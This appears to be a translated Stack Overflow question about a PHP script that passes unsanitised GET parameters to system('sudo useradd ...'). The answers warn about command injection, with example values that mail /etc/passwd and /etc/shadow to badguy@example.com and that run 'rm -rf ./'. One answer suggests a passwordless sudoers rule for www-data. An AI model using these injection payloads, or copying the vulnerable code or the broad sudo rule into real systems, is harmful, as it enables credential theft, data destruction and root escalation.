System()PHP的问题

时间:2014-05-15 16:38:25

标签: php

我有一个PHP代码,但我有一个问题,我无法理解。 我只想在我的电脑中创建一个本地用户 当我使用system()时,我的页面不显示/做任何事情

<?php
session_start();
//inici de la sessio
//cridem al fitxer de connexions
include 'connexio.php';
//taula de la bbdd
include 'header.php';
mysql_select_db('easyadmin');

        $usuari = $_GET["user"];
        $contrasenya = $_GET["password"];
        $carpeta = $_GET["home"];
        $grup = $_GET["group"];
        $ShellUnix = $_GET["shell"];
        echo "usuari: $usuari";
        echo "la pass: $contrasenya";
        echo "carpta: $carpeta";
        echo "el grup: $grup";
        echo "shell: $ShellUnix";

//system("sudo useradd -d ".$carpeta." -m -g ".$grup." -s ".$ShellUnix $usuari);
/*
if(!system('sudo useradd -d '.$carpeta.' -m -g'.$grup.' -s'.$ShellUnix $usuari'))
{
 echo "error al crear un usuari";
 // header("Location: principal.php");
}else{
 echo "el usuari ".$usuari." se ha creat correctament";
 // header("Location: cusuari.php");
}

mysql_close($conexio);
*/
?>

没有人工作。

非常感谢

3 个答案:

答案 0 :(得分:1)

这非常危险。您正在将不受信任的数据传递给正在执行的命令。更糟糕的是,该命令以root身份运行。

如果坏人为

的用户提交了值
somename; cat /etc/passwd /etc/shadow | mail badguy@example.com

然后您刚刚将密码文件邮寄给现在可以破解密码的坏人。

使用外部数据构建的运行命令就像吃在家门口找到的成分制成的汤。

答案 1 :(得分:0)

要允许www-data运行useradd命令,您需要在/ etc / sudoers中添加一行,如

www-data ALL=(root) NOPASSWD: /usr/sbin/useradd

如果/ etc / sudoers中存在该行,您可能还需要注释掉该行:

Defaults requiretty

答案 2 :(得分:0)

sudo正在尝试询问用户的密码以验证命令。但是,system()不允许这样的来回。至少,不是在服务器API上下文中(即在浏览器中加载)。

如果您使用passthru并在命令行(例如bash)上运行它,可能能够执行此操作 - 我自己在Windows上使用它,使用PHP CLI制作包含CHOICEPAUSE等电话的控制台应用程序。

或者,您应该找出用户运行PHP脚本的内容(echo `whoami`;应该执行此操作),并授予该用户运行useradd命令的权限,而无需密码。

另外,要非常小心地运行这样的敏感命令。始终分别对每个参数使用escapeshellarg以确保命令完全按照您的意图执行。毕竟,我可以输入我的用户名Robert && rm -rf ./,因为你给了它sudo许可,再见系统!